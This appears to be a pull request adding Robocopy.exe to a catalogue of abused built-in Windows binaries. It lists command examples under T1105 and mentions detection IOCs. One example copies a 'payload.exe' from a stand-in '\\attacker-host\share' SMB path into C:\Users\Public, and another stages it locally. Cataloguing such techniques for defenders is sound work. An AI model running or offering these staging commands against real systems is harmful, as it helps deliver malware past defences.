[defamp]

Add Robocopy.exe

Adds Robocopy.exe, the built-in Windows robust file/directory replication utility. It is listed in Backlog.txt ("Robocopy.exe — Needs examples"), so this provides concrete command examples.

Commands

• Copy (T1105): robocopy C:\SourceFolder C:\Users\Public payload.exe — stage/copy a file locally using a signed built-in tool.
• Download (T1105): robocopy \\attacker-host\share C:\Users\Public payload.exe — pull a file from a remote SMB share.

Notes

• Present by default since Windows Vista (System32 and SysWOW64).
• Includes Full_Path, Detection IOCs, a Resources link (Microsoft docs), and Acknowledgement.
• Validated locally with .github/workflows/validation.py → ✅ Valid: yml/OSBinaries/Robocopy.yml (full run exits 0).